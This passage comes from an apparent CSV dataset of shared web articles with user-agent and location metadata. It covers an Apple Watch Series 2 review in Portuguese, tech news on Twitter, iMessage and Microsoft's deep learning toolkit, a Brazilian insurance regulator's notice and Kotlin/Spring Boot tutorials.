de nomenclaturas. Desde a primeira geração, havia uma certa confusão na estrutura de modelos criada pela Apple. Antes tínhamos o Apple Watch Sport (de alumínio), o Apple Watch (de aço inoxidável) e o Apple Watch Edition (de ouro) - além da edição especial Apple Watch Hermès (também de aço inoxidável). Neste ano, a Apple ao mesmo tempo simplificou e complicou isso tudo. Agora temos o Apple Watch Series 2 (que pode ser tanto de alumínio quanto de aço inoxidável - não existe mais uma linha ""Sport""), o Apple Watch Edition (agora de cerâmica, bem mais barato ), as edições especiais Apple Watch Nike+ (de alumínio) e Apple Watch Hermès (de aço inoxidável), e o Apple Watch Series 1 (de alumínio). O primeiro esclarecimento: o Apple Watch Series 1 *não* é o Apple Watch de primeira geração. Na verdade é como se fosse, mas ele é equipado com um processador dual-core tal como o Series 2. Ou seja, é como se o Apple Watch de primeira geração fosse um ""Apple Watch Series 0"". Ele não é mais vendido pela Maçã. Embora o Apple Watch Edition, o Apple Watch Nike+ e o Apple Watch Hermès não tenham ""Series 2"" em seus nomes, eles possuem exatamente as mesmas características técnicas do Apple Watch Series 2. Performance e GPS com o chip S2 O Apple Watch Series 2 vem equipado com um novo System in Package (SiP) desenvolvido pela Maçã, o S2 . Ele não só tem um processador dual-core embutido (como o que está no Apple Watch Series 1, chamado de S1P) que promete uma performance até 50% superior, como também uma GPU para performance gráfica até 2x melhor e - palmas! - um GPS embutido. Eu só tive oportunidade de usar o watchOS 3 no meu Apple Watch de primeira geração por uma semaninha, e já deu para perceber uma experiência muito melhor proporcionada pelo software. Combinando isso ao S2, a minha grande queixa em relação ao modelo anterior foi quase em sua totalidade sanada. Antes havia momentos em que eu desistia de usar o Watch para alguma coisa porque sabia que me irritaria com a sua lerdeza. Agora, não mais. Não quero dizer que a coisa já está perfeita. Quando vamos abrir um app que não está numa complicação ou no Dock ele ainda leva alguns segundos para carregar, mas bem menos do que antes. Entendo que não deve ser nada fácil para a Apple equilibrar performance com um baixo consumo energético num espaço físico tão limitado. O GPS , sim, é uma novidade que muitos aguardavam. A ausência desse componente era uma das coisas que mais prendiam o Watch ao iPhone em sua primeira geração, especialmente para os que usam o relógio para fazer exercícios - um dos seus propósitos mais comuns, sem dúvida nenhuma. Agora, quem vai correr em um espaço aberto não precisa mais levar o iPhone consigo; o próprio Watch conta com um GPS integrado e pode medir exatamente a distância percorrida e traçar toda a sua rota num mapa. Como o uso do GPS afeta a bateria, a Apple fez algo inteligente: quando o iPhone está por perto, se comunicando com o Watch, o relógio continua puxando os dados de GPS pelo iPhone (que possui uma bateria muito maior). O GPS do Watch em si só é ativado quando necessário. Tela A Apple não alterou em nada os tamanhos de tela do Watch (o relógio continua sendo vendido em versões de 38mm e 42mm, cujas telas têm resoluções de 272×340 e 312×390 pixels, respectivamente), assim como o seu design exterior. Os modelos de alumínio continuam com um vidro de íons-X, enquanto os de aço inoxidável e de cerâmica contam com cristal safira. O que mudou na tela, e de maneira perceptível, foi o seu brilho. Ele mais do que dobrou, passando de 450 para 1.000 nits . Isto é importantíssimo especialmente quando vamos usar o relógio sob a luz do sol; quem já usou um de primeira geração nessa situação sabe como era impossível muito difícil enxergar alguma coisa. A nova tela não chega a ser tão visível como a de e-ink de um Kindle, por exemplo, mas agora ficou bastante satisfatória. À prova d'água E chegamos ao que, para mim, é a maior e melhor novidade do Apple Watch Series 2. A Maçã dizia que o modelo de primeira geração era resistente à água, suportando respingos, lavar a mão e quem sabe até tomar banho. Agora, o relógio é oficialmente à prova d'água com uma classificação de 50 metros dentro do padrão ISO 22810:2010. Houve muita gente que ignorou completamente o que a Apple dizia antes e realmente colocava o Watch para mergulhar , sem problema nenhum. Eu preferi não correr riscos e, toda segunda, quarta e sexta-feira, quando ia nadar, deixava o relógio guardadinho no armário da academia. Isto me chateava demais, especialmente pelo fato de que meus círculos de Atividade nunca ficavam devidamente preenchidos em três dias da semana. Agora, sim, eu posso dizer que o Watch basicamente só sai do meu braço na hora de dormir. E até que valeu a espera, pois agora, como a classificação de à prova d'água é oficial, o próprio app Exercícios do watchOS conta com opções específicas para quem nada. Eu nunca tive um relógio à la Garmin Swim ; é com o Apple Watch Series 2 que estou pela primeira vez usando um dispositivo para me monitorar durante o nado. Segundo ouvi de algumas pessoas que têm ou já usaram um Garmin desses da vida, um grande diferencial do Watch é que você só precisa dar início ao exercício e esquecer. Nesses outros relógios, é preciso apertar um botão para informá-lo de cada volta que você dá na piscina. No caso do Watch, o uso dos sensores embutidos nele (como o acelerômetro) para medir isso tudo automaticamente também tem lá suas desvantagens. Para mim, a pior de todas é o Watch não conseguir medir quando estou fazendo exercícios de perna - seja usando uma prancha ou não. Como não há movimentos do braço, ele não sabe que estou cruzando a piscina. Posso nadar o quanto for, as contagens de voltas e distância nadada permanecem congeladas. Não cheguei a testar nadar com o Apple Watch Series 2 num espaço aberto, então não sei se usaria o GPS embutido para detectar meu deslocamento e conseguir medir também exercícios de perna. Mas, para quem nada em piscinas cobertas (como a da minha academia), seria interessante quem sabe poder adicionar manualmente, ao término do treino, pelo menos o número de voltas que demos enquanto fazendo exercícios de perna. Como a água em si pode afetar a sensibilidade da touchscreen do Watch, logo quando iniciamos um exercício de natação o watchOS automaticamente bloqueia a tela. Ela permanece desligada pela maior parte do tempo, até para conservar bateria, mas quando eu paro na borda da piscina é só levantar o braço como sempre para conferir como estou indo no exercício. Não posso deixar de citar aqui o mecanismo fantástico que a Apple criou para resolver o ""problema"" de que a água continua entrando pelo buraquinho do alto-falante do Watch, enquanto todo o resto agora é selado. Depois que você sai da piscina, é só girar a Digital Crown para desbloquear o relógio e ele então automaticamente emite determinados sons numa frequência que expulsa a água que estiver dentro do compartimento do alto-falante. É lindo! �� Bateria Aqui temos algo que ""mudou, mas não mudou"". A Apple preferiu nem tocar no assunto durante a keynote, porque na prática realmente a ideia é que donos de Watches continuem colocando-o para recarregar toda noite, ao dormir. Mas a bateria do Apple Watch Series 2 aumentou um pouquinho de tamanho, sim , até para comportar o S2 e principalmente o GPS embutido dele. Com isso, a Apple deve ter calculado que a autonomia média do relógio continua sendo de mais ou menos um dia inteiro de uso, mas na minha experiência posso dizer que ela vai além disso. Desde que peguei o Apple Watch Series 2, já tive umas duas ou três experiências de não conseguir recarregar o relógio à noite, e isto não foi um problema porque é normal eu ir dormir com (muito) mais do que 50%. De fato, no momento em que escrevo este parágrafo são agora 22h44, estou com o Watch no braço desde 8h da manhã e ele está com 75% de bateria. Ou seja, já consegui usar o relógio por dois dias seguidos sem problemas. Ainda assim, estamos muito longe da autonomia de 7 dias prometida por um Pebble por exemplo. E eu nem vou falar de relógios convencionais, porque a história aqui é outra. Não é à toa, também, que a Apple nada fala sobre monitoramento de sono com o Watch; a orientação é mesmo recarregá-lo à noite, e não dormir com ele no pulso. watchOS 3 Citei o watchOS 3 algumas vezes acima, mas vale um sub-tópico específico sobre ele aqui. Dos quatro sistemas operacionais atuais da Apple (iOS, macOS, watchOS e tvOS), o do relógio foi o que eu mais aguardei este ano por tudo o que ele prometeu. E não me decepcionei. Eu odiava o conceito de Resumos ( Glances ), achava repetitivo. Também não me lembro de ter usado o botão abaixo da Digital Crown para algo realmente útil que não brincar logo nos primeiros dias que peguei o Watch, de mandar alguns desenhinhos/toques para as poucas pessoas que eu sabia que já tinham um Watch também. O Dock era tudo o que eu queria para o watchOS e adorei ele ser acessível por esse botão abaixo da Digital Crown , que agora tem uma utilidade real. Com as otimizações de performance do sistema, agora os apps que ficam nessa área (bem como os que você coloca nas complicações do seu mostrador) abrem praticamente de forma instantânea pois estão armazenados na RAM do relógio. Além de ver as horas e acompanhar notificações, as principais utilidades do Watch para mim são saber meus próximos compromissos, consultar a previsão do tempo, controlar a reprodução de músicas no meu iPhone, registrar e acompanhar exercícios/atividades, definir alarmes e/ou timers , e eventualmente bater uma foto no iPhone à distância. Tudo isso está agora sempre à mão, no Dock. As outras novidades do watchOS 3, como o app Respire ( Breathe ), um ou outro novo mostrador (esperava mais, bem mais - embora seja legal poder agora montar/personalizar seus mostradores diretamente pelo app Watch no iPhone), compartilhamento de atividades, etc. não me apeteceram tanto assim. Design Como citei no sub-tópico sobre a tela do Apple Watch Series 2, a Maçã não alterou o design exterior do relógio este ano - com exceção da adição de um segundo furo/buraco para microfone. A caixa dele na verdade é ligeiramente mais grossa (provavelmente para dar espaço à bateria maior), porém a diferença é imperceptível para o usuário. Isso é bom e ruim. Bom porque indica que a Apple acertou a mão no design da primeira geração, que não viu necessidade de já mudar agora. E não falo nem pelas pulseiras em si, porque mesmo mudando o design dá para manter suporte ao mecanismo atual das pulseiras por muitos anos. Eu diria desde já, inclusive, que isso só deverá mudar lá para a quinta ou sexta geração do Apple Watch. Bom, também, porque mantém total familiaridade com o produto que ainda está passando por uma fase de adaptação/aceitação para muita gente. E olha que a Apple não fez isso quando passou das primeiras para as segundas gerações do iPod, do iPhone e do iPad; todos mudaram bastante. Mas claro, há pontos negativos. Quem não gostou do design original e esperava algo diferente agora vai ter que esperar no mínimo mais um ano. Quem comprou o Apple Watch de primeira geração e queria agora uma mudança terá que se contentar com algo igual ou bem parecido, isto se trocar de modelo e/ou cor. Por mim, também é ruim não podermos diferenciar facilmente um Apple Watch do outro simplesmente olhando por fora; só dá para saber se prestarmos atenção nesse segundo buraco de microfone ou olhando o que está escrito atrás da caixa, com o Watch fora do pulso. Para o meu primeiro Watch, comprei uma pulseira de couro que usava no dia-a-dia e só alternava para a esportiva quando ia malhar. Ainda assim, após mais de um ano de uso a de couro ficou bastante desgastada e já me incomodava em certos momentos. Agora, com o Apple Watch Series 2, estou usando a pulseira esportiva (a que veio com ele) 100% do tempo - até porque, como estou nadando com o relógio, teria que trocar de pulseira todo santo dia. Até melhor, pois assim economizo. Conclusão Acho que a Apple mandou muito bem na segunda geração do Watch. Ele continua sendo um produto de nicho, que muitos ou não entendem, ou (acham que) não veem utilidade ou, com razão, acham caro demais pelo que oferece. Fico feliz de ser ""obrigado"" a ter um, pela natureza do meu trabalho no MacMagazine . Certamente viveria sem, mas sentiria falta depois de incorporá-lo no meu cotidiano. Para quem tem ou já usou bem um Apple Watch de primeira geração, os diferenciais do Series 2 são bastante claros. Se você corre em lugares abertos ou nada, como eu, acho que migrar para ele é um no-brainer . Mas se não for explorar esses benefícios, não acho que deva comprar simplesmente pensando, por exemplo, na performance superior; o watchOS 3 por si só já trouxe boas melhorias nesse sentido. Aos que nunca tiveram um Apple Watch, trago aqui a frase clichê que citei no comecinho do review: o Apple Watch está agora como deveria ter saído em sua primeira geração e, embora por fora aparente ser o mesmo, está agora muito mais capaz como um smartwatch. E a coisa ainda deverá evoluir um tanto na parte de software, considerando o que já vimos mudar do watchOS 1.0 para o 3.0 - e em tão pouco tempo. Prevejo um futuro brilhante para o Apple Watch e fico feliz de estar acompanhando esse seu desenvolvimento de pertinho. O Apple Watch Series 2 chegará ao Brasil nesta sexta-feira (28/10), custando a partir de R$2.999,00 (ou R$2.699,10 à vista) pelos modelos de alumínio de 38mm, que saem por US$369 nos Estados Unidos. O modelo mais caro, o Apple Watch Edition - de cerâmica, com 42mm -, custará R$10.299,00 (ou R$9.269,10 à vista) enquanto nos EUA ele sai por US$1.299. Review: Apple Watch Series 2 Se houver algum erro no post acima, selecione-o e pressione Shift + Enter ou clique aqui para nos notificar. Obrigado! análise Apple Apple Watch Apple Watch Series 2 Comparativo produto relógio resenha Review smartwatch watch Sobre o Autor Aviso: nossos editores/colunistas estão expressando suas opiniões sobre o tema proposto e esperamos que as conversas nos comentários sejam respeitosas e construtivas. O espaço acima é destinado a discussões, debates sobre o tema e críticas de ideias, não às pessoas por trás delas. Ataques pessoais não serão tolerados de maneira nenhuma e nos damos ao direito de ocultar/excluir qualquer comentário ofensivo, difamatório, preconceituoso, calunioso ou de alguma forma prejudicial a terceiros, assim como textos de caráter promocional e comentários anônimos (sem nome completo e/ou email válido). Em caso de insistência, o usuário poderá ser banido.",pt
1477415861,CONTENT SHARED,7636423839699365160,-8845298781299428018,3890139773100173363,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,https://techcrunch.com/2016/10/24/twitters-sales-team-may-take-a-hit-in-big-upcoming-layoffs/,Twitter's sales team may take a hit in big upcoming layoffs,"Well, now we know why Twitter decided to move its earnings report to before the market opens ( when the West Coast will conveniently, largely be asleep ). Bloomberg is reporting that the company may cut up to 8% of its staff, or around 300 people, and that the cuts could be announced as soon as this week . As usual these situations are very dynamic, so all of the above could shake out to be different than expected, but we've heard plenty of similar rumblings about layoffs for the past few weeks. In particular, one thing we've heard from sources is that the sales teams are in the crosshairs for the layoffs. We weren't able to suss out just how much of an impact it's going to have or which teams in particular the layoffs will fall on. However, revenue growth may be the culprit, especially as alternative platforms like Facebook and Snapchat continue to grow much more quickly. (And in addition to that, rumblings of these cuts roughly coincided with a weird memo CEO Jack Dorsey sent around basically saying how awesome the company was . So, read into that as you will.) Either way it seems like the company is trying to slim down as the hope that a larger company will swoop in and buy it are continuing to fade. A representative from Twitter declined to comment. Twitter has been on an absolute rollercoaster since Dorsey took over around this time last year. Dorsey opened his tenure by laying off 8% of the company , and throughout his time as CEO, has seen Twitter's value cut nearly in half. That's been a result of slow-to-no user growth, slowing revenue growth, and being constantly dogged by issues surrounding trolls on the platform. (The latter actually scared away Disney and Salesforce as potential suitors .) Hope came in the form of reports that Salesforce, Disney, and others were all looking at buying the company. That added billions of dollars to Twitter's market cap before being promptly stripped away as soon as it became clear none of the companies were interested . Without an obvious suitor, Twitter's going to need to figure out a way to be more forward-looking and hopeful to Wall Street. Starting off with Layoffs to make the business more efficient is sometimes where things go. But it's still going to come down to actually improving the product. Trolls aside, Dorsey has actually not made any dramatic sweeping changes to the service other than adding more of an algorithmic touch to the feed. And attempts to make it less confusing, like removing contributions to character limits for kinds of media and trying to fix @replies (and ""canoes""), still haven't helped make the service more sticky and attract new users. (There's also Moments , but that story still hasn't seemingly played out yet.) Twitter will report its third-quarter earnings at 4:00 a.m. PST on Thursday. If you want to potentially hear more details about that (or, perhaps, that's the day they'll formally announce it), set your alarm clock and grab a cup of coffee. We, too, will be tuning in. Featured Image: Drew Angerer/Getty Images",en
1477416738,CONTENT SHARED,-8582642829303844420,-709287718034731589,5504564399872444075,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",SP,BR,HTML,http://www.macrumors.com/2016/10/25/imessage-android-mockups/,Apple Has Created 'Detailed Mockups' of iMessage for Android,"Earlier in the year, rumors began swirling around the possibility Apple might launch a version of iMessage for Android smartphones due to the company's increased focus on services, ""which means opening up certain avenues beyond its own iOS and OS X platforms."" The original report pointed to a potential announcement at WWDC , which came and went with no such news, and an Apple executive later commented that keeping iMessage on iOS has the understandable advantage of helping sales for iPhones and iPads. In a larger piece today discussing the degree to which iMessage's ""stickiness"" is acting as the glue to help keep users loyal to iOS, Daring Fireball 's John Gruber briefly outlined these previous rumors and provided further fuel to the flames. Gruber mentioned that he's ""heard from little birdies"" that a handful of ""detailed mockups"" of iMessage for Android have been shared around Apple. The user interface of the Android app is said to have gone through numerous designs, from one that looks identical to the version on iOS, to another that has a ""pure Material Design,"" using Google's design language it developed a few years ago. Gruber still thinks iMessage on Android ""might happen sooner or later,"" mainly because of iMessage's new monetized Messages App Store , which could net Apple increased income in its already profitable services category if it translated the app to Android. I've heard from little birdies that mockups of iMessage for Android have circulated within the company, with varying UI styles ranging from looking like the iOS Messages app to pure Material Design. Apple undoubtedly creates mockups for all types of products and services, the vast majority of which never make it to release, and it's unclear exactly how far along the iMessage for Android preliminary designs were at the time of their circulation through Apple, or when exactly that occurred. Still, Gruber notes that while an Android version of iMessage ""may never see the light of day,"" even the existence of such mockups ""strongly suggests that there's no 'of course not' to it."" Apple currently distributes three apps on the Google Play store for Android, including Apple Music , Move to iOS for users who are transitioning from an Android smartphone to an iPhone, and Beats Pill, an app used to interact with a Beats Pill speaker. Apple CEO Tim Cook has said Apple Music is Apple's way of testing the water ahead of bringing additional Apple services to other platforms, so it's a possibility that iMessage could be one of those services.",en
1477416837,CONTENT SHARED,-1243978819371381632,-709287718034731589,5504564399872444075,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",SP,BR,HTML,http://www.cultofmac.com/450896/today-apple-history-os-x-panther-claws-way-onto-macs/,Today in Apple history: OS X Panther claws its way onto Macs | Cult of Mac,"Do you remember OS X Panther? Photo: Gudebookgallery/Apple October 25, 2003: OS X Panther, the fourth major OS X update released by Apple, arrives on Macs. Following Jaguar and preceding Tiger, Mac OS X Panther 10.3 brings a number of useful features - including Exposé, which lets users instantly view all open windows at once; iChat AV, which allows users to talk with audio and video as well as text, and Safari as Apple's default web browser for the first time. Panther wasn't quite the major ""must have"" update that Jaguar had been, although I certainly found it to be very good, particularly with the addition of the Exposé mode. Greater Windows compatibility also made it easier than ever to work between Macs and PCs. As far as Safari went, Apple had previously included it as an update for Jaguar, but Panther was the first time it arrived as the standard default option on a new OS. There was a clear reason for this: when Microsoft bailed Apple out in 1997, part of the deal called for Apple to support Internet Explorer for five years. That period had elapsed by the time Panther shipped. Other smaller, but still important upgrades included the arrival of FileVault, which allowed users to encrypt hard drive data with 128-bit keys; a simplified way to manage system fonts; Xcode for developers, and a revamped Finder - complete with brushed metal appearance - that included a sidebar to make it easier to access disk drives and networks. It all came with a price tag of $129, although customers who had bought a new Mac since October 8 were spared this expense. Do you remember Mac OS X Panther? Leave your comments below.",en
1477423093,CONTENT SHARED,3385087622593663739,6644119361202586331,-6146321952376425385,"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,http://www.imdb.com/title/tt3553976/,Captain Fantastic (2016),"Directed by Matt Ross. With Viggo Mortensen, George MacKay, Samantha Isler, Annalise Basso. In the forests of the Pacific Northwest, a father devoted to raising his six kids with a rigorous physical and intellectual education is forced to leave his paradise and enter the world, challenging his idea of what it means to be a parent.",en
1477438797,CONTENT SHARED,8769121796537771237,2542290381109225938,3896024018019760972,Android - Native Mobile App,FL,US,HTML,http://www.revistaapolice.com.br/2016/10/susep-divulga-nota-de-esclarecimento/,Susep divulga nota de esclarecimento sobre a Youse Seguros,"Em atenção à propaganda e à forma de comunicação empregadas pela Youse, em especial no seu sítio eletrônico na Internet, a Susep - autarquia federal responsável pela supervisão dos mercados de seguros, resseguros, previdência complementar e capitalização, esclarece: 1. A Youse não é sociedade seguradora autorizada a funcionar pela Susep, consequentemente, não possui produtos aprovados pela Susep, nem tampouco autorização para comercializar produtos de seguro, nessa condição; 2. A referida empresa já foi notificada pela autarquia quanto à propaganda e à comunicação empregadas, por induzirem a erro potenciais consumidores, afrontando direito básico do consumidor, conforme prevê o art. 6°, inciso III, da Lei n° 8.078/90 (Código de Defesa do Consumidor); 3. A Caixa Seguros Holding S.A ingressou com pedido de autorização de constituição para seguradora denominada Youse, sob o processo Susep n° 15414.001677/2016-46, cuja análise ainda se encontra em andamento, portanto, pendente de aprovação; 4. As reclamações e denúncias apresentadas à Susep a respeito da comercialização de produtos pela empresa estão sob análise da Diretoria de Supervisão de Conduta. Com o objetivo de continuar protegendo os interesses dos cidadãos e demais agentes envolvidos com os mercados de seguros, resseguros, previdência complementar e capitalização, a Susep coloca-se à disposição para prestar esclarecimentos adicionais. Joaquim Mendanha de Ataídes Superintendente da Susep Fonte: Susep L.S. Revista Apólice",pt
1477441333,CONTENT SHARED,8340838192486391835,-1443636648652872475,-5650650301365919459,Android - Native Mobile App,SP,BR,HTML,http://www.infoworld.com/article/3134765/artificial-intelligence/microsoft-adds-python-to-deep-learning-toolkit.html,Microsoft adds Python to deep learning toolkit,"Microsoft is adding Python language support to its open source deep learning toolkit for developers. The kit, formerly known as Computational Network Toolkit (CNTK) and now called Microsoft Cognitive Toolkit , goes into a beta release today and features reinforcement learning for neural networking. The Python backing extends the toolkit beyond C++ development for better accessibility. C++ ""was good for really serious programmers,"" said XD Huang, Microsoft chief speech scientist, but ""our mission is simple: to democratize AI,"" not only for web developers, but for different disciplines, even sociologists. Python support will offer extensiveness, expressiveness, and flexibility. With reinforcement learning, an agent discovers the correct way to do something, such as navigate a room or form a sentence, via trial and error. A neural network is trained to interact with an environment with only occasional feedback in the form of a reward. In essence, training involves adjusting the network's weights to search for a strategy that consistently generates higher rewards. Reinforcement learning, the company said, could eventually lead to true artificial intelligence, in which systems make complex decisions on their own. Thanks to a performance boost, Microsoft now claims leadership in working large data sets across multiple machines, as the kit leverages CPUs and Nvidia GPUs, and supports cloud deployment. Compared to that of the previous version, performance is nearly twice what it was before when scaling to eight Pascal GPUs in an Nvidia DGX-1, which is billed as an ""AI supercomputer"" by Nvidia. Deep learning is an AI technique for developers and researchers to use large volumes of data, called training sets, to teach computers to recognize patterns from inputs including images and sounds. With the kit, large-scale deployments can be supported for developing both consumer and professional applications. It supports Microsoft's Azure's GPU cloud platform, currently in a preview stage. Microsoft said it has used its deep learning kit for such purposes as a speech recognition system that recognizes words in conversation as well as a person does, matching or besting the error rate of professional transcription. The toolkit has since moved beyond speech recognition and into a variety of deep learning tasks, Microsoft said. Cortana, Microsoft's answer to Apple's Siri personal assistant , runs atop of CNTK, and cooling specialist Liebherr has used it in an application that recognizes individual food items in a refrigerator for use in taking inventory.",en
1477445617,CONTENT SHARED,3032648342029994387,-5868110530814399805,7197184771464470928,Android - Native Mobile App,SP,BR,HTML,http://conteudo.startse.com.br/mercado/lucas-bicudo/fusao-de-startups-cria-uma-das-maiores-de-tecnologia-em-saude-do-brasil/,Fusão de startups cria uma das maiores de tecnologia em saúde do Brasil,"Em 2017, a solução deve gerar uma economia de R$ 2,3 bilhões no setor e estima transacionar R$ 1,4 bilhões com seu sistema de pagamento A Vitta , desenvolvedora de tecnologias de gestão e pagamentos para clínicas e hospitais, também eleita uma das empresas promessas pela Endeavor e Banco JP Morgan, acaba de se fundir à Katu Sistemas , proprietária do ClinicWeb, primeiro prontuário eletrônico na nuvem do Brasil. ""Desde o início, nossa missão é clara, entregar eficiência ao setor da saúde para melhorar a vida de milhões de pessoas. Demos mais um passo importante nessa jornada: começamos a conectar a cadeia de saúde suplementar, automatizando processos que eram manuais, para gerar uma economia sem precedentes no setor e melhorar a vida de milhões de pacientes. Nós trabalhamos incansavelmente para melhorar a saúde do nosso país"", afirma João Gabriel Alkmim, sócio da Vitta. Os produtos da nova empresa, que levará o nome da Vitta, são utilizados pelo Einstein, Hospital do Coração (HCor), LottenEyes e mais de 13 mil médicos em clínicas particulares e hospitais, movimentando mais de 400 mil exames por mês. A solução dispensa o uso de papel para prescrição de remédios, reduz o risco de erros manuais e é a única capaz de conectar os prontuários eletrônicos ao primeiro sistema de prescrição digital do país, integrado com aproximadamente 24 mil farmácias e laboratórios. Aprovado pelo Conselho Federal de Medicina (CFM), as receitas prescritas são enviadas diretamente para o sistema de redes como Onofre, Drogasil e Droga Raia. Para realizar a prescrição de um medicamento basta que o médico utilize a ferramenta, inserindo o CPF do paciente na receita digital que, posteriormente, deve ser retirada nas drogarias. Com os exames, as solicitações feitas pelo médico são automaticamente direcionadas ao laboratório escolhido, como Fleury, Sabin e Einstein, com todos os dados do paciente e a pré-autorização do convênio. Assim que o resultado fica pronto, o médico é notificado e pode visualizá-lo no celular, tablet ou computador, pois a tecnologia conecta diretamente médico e laboratório, eliminando o processo de retirada de exames pelo paciente. Nos Estados Unidos essa tecnologia é utilizada e gera resultados expressivos. A estimativa é que o uso de sistema de prescrição médica digital resulte em uma economia de até US$ 240 bilhões nos próximos dez anos. A prescrição de medicamentos representa 10% do total de despesas em saúde, ou 1,8% do PIB norte-americano. ""É inaceitável que um setor como o de saúde ainda tenha os seus processos tão dependentes do papel. Além de erros, há perdas financeiras enormes em cada etapa, que vão desde exames desnecessários, falta de acompanhamento de pacientes crônicos em estágios iniciais, glosas junto aos convênios, entre outras complicações. Quebramos esse paradigma"", complementa Paulo Salomão, da Katu Sistemas. Com a fusão, a empresa torna-se uma das maiores nacionais de tecnologia em saúde. No ano de 2017, a solução deve gerar uma economia de R$ 2,3 bilhões no setor e estima transacionar R$ 1,4 bilhões com seu sistema de pagamentos.",pt
1477477378,CONTENT SHARED,-6590064508646491981,7645894863578715801,-2649007012474008270,Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0,SP,BR,HTML,http://www.concretesolutions.com.br/2016/08/16/kotlin-no-backend-parte-2/,Kotlin no Backend (Parte 2) :: Concrete Solutions,"Ontem, começamos aqui no Blog uma série sobre o Kotlin no backend, configurando o ambiente e criando uma função main para mostrar a mensagem. Se você ainda não viu, pode clicar aqui . Hoje, vamos criar algo um pouco mais complexo usando o SpringBoot para levantar um serviço REST simples em Jersey . Início Vamos utilizar o Gradle para fazer build e gerenciar as dependências do SpringBoot no projeto. Para isso, crie uma pasta, execute o gradle e importe no IntelliJ. Criei a pasta ServicoKotlin, mas fique à vontade para escolher a sua =D gradle init -type java-library Ele vai criar a seguinte estrutura: Com o projeto importado no IntelliJ IDEA , vamos configurar o Gradle para resolver dependências, plugins e o build de nosso projeto. Abra o arquivo build.gradle , que se encontra na raiz do projeto, e substitua pelo o seguinte conteúdo: Criando nossas classes Clique com o botão direito nas pastas java em main.java e test.java e as delete. Também com o botão direito, clique na pasta main, crie o diretório kotlin e marque este como Sources Root . A estrutura deve ficar assim: src/main/kotlin, igual ao que está no sourceSets do script build.gradle . Crie um pacote à sua escolha (o meu é org.kotlin) e crie um arquivo kotlin dentro com o nome de App. A extensão dos arquivos kotlin é .kt . Neste arquivo vamos criar nossa classe e a função main para o SpringBoot . Vamos agora detalhar este trecho: @SpringBootApplication é uma anotação de conveniência, que marca a classe com as seguintes anotações com seus atributos default: @Configuration: anota a classe como uma fonte de definições de beans para o contexto da aplicação; @EnableAutoConfiguration: diz ao SpringBoot para começar a adicionar beans com base nas configurações de classpath e várias configurações de propriedade; @ComponentScan: diz ao Spring para procurar outros componentes, configurações e serviços no pacote atual. Modificador open na classe é o oposto do final do Java. Em Kotlin, todas as classes e métodos são final por padrão, e para o Spring elas não podem ser final devido ao uso de proxy CGLIB. Uma função restTemplate com anotação @Bean cria uma instância do RestTemplate como um Bean do Spring . Uma função objectMapperBuilder sem corpo (sim, em Kotlin isto é possível =D) tem anotação @Bean para registrá-lo no Jackson ObjectMapper . Em Java , o método main( ) de um aplicativo é convencionalmente definido dentro da classe de aplicação anotada. Isso ocorre porque Java não suporta métodos de nível superior. Em Kotlin , no entanto, nós temos funções top-level. Assim, podemos tornar o principal ponto de entrada do SpringBoot muito mais simples. Com isto, a função main() é definida em uma classe chamada AppKt e não em uma classe App. A função main() utiliza o método SpringApplication.run() do SpringBoot para iniciar um aplicativo. O método run() retorna um ApplicationContext e este aplicativo, em seguida, recupera todos os beans que foram criados pela aplicação ou foram adicionados automaticamente graças ao SpringBoot . Note que o método run() recebe dois parâmetros: a classe App::class.java e um *args, que detalharei melhor a seguir: App::class.java: (::) logo após o nome da classe indica que iremos pegar uma referência à classe por reflection. O (.java) indica que queremos uma referência Java e não Kotlin ; *args: * operador spread antes do array, insere todo o conteúdo do array no vararg do método run() . Vamos criar agora nossa configuração do Jersey. Crie uma arquivo kotlin com nome de JerseyConfig e configure o Jersey como a seguir: Vamos aos detalhes: JerseyConfig : ResourceConfig(): herança e implementação de interfaces em Kotlin ; init { ... }: Bloco inicializador será criado junto com a instância da classe. Para criar nossa endpoint, crie um pacote chamado api e dentro crie um arquivo kotlin com o nome de JerseyAPI. Veja o exemplo:[ Crie um arquivo chamado application.properties com o conteúdo abaixo dentro da pasta resources do projeto. Aqui diremos ao SpringBoot que o Undertow (WebServer) vai subir na porta configurada. Execute com um duplo click a task bootRun , na visão de Gradle do IntelliJ IDEA . Abra um navegador e digite o seguinte na barra de endereços : Veja o resultado: E aí? Deu certo? Se tiver qualquer dúvida ou quiser dar alguma contribuição, fique à vontade nos comentários. Espero que tenha gostado! Até a próxima. - É desenvolvedor back-end e quer trabalhar com nosso time? Acesse aqui .",pt
1477477835,CONTENT SHARED,-5729915270134094048,7645894863578715801,-2649007012474008270,Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0,SP,BR,HTML,https://spring.io/blog/2016/03/20/a-geospatial-messenger-with-kotlin-spring-boot-and-postgresql,"A Geospatial Messenger with Kotlin, Spring Boot and PostgreSQL","Following my first Kotlin blog post , today I want introduce the new Spring Boot + Kotlin application I have developed for my upcoming Spring I/O 2016 conference talk ""Developing Geospatial Web Services with Kotlin and Spring Boot"". Dealing with native database functionalities One of the goal of this application is to see how to take advantage of native database functionalities like we do in NoSQL world. Here we want to use Geospatial support provided by PostGIS , the spatial database extender for PostgreSQL . Native JSON support could also be a good use case. This Geospatial Messenger sample application is available on GitHub in 2 flavors: - The master branch uses Exposed , a Kotlin SQL library with a typesafe API created by JetBrains. It could be compared to Query DSL SQL or jOOQ but provides an idiomatic Kotlin API and does not require code generation. - The spring-data-jdbc-repository branch is using spring-data-jdbc-repository , a community project that allows to use Spring Data PagingAndSortingRepository API with raw SQL queries without JPA. I am using this Jakub Jirutka fork which is an improved version of Tomasz Nurkiewicz original project . A Spring Data JPA + Hibernate Spatial variant would be interesting, so feel free to contribute it with a pull request ;-) Kotlin Query DSL support would be also nice but this is currently not supported (please comment on this issue if you are interested). In this blog post I will focus on the Exposed variant. A tour of Geospatial Messenger code Domain model Our domain model is described easily thanks to these 2 Kotlin classes : SQL schema Exposed allows us to describe the structure 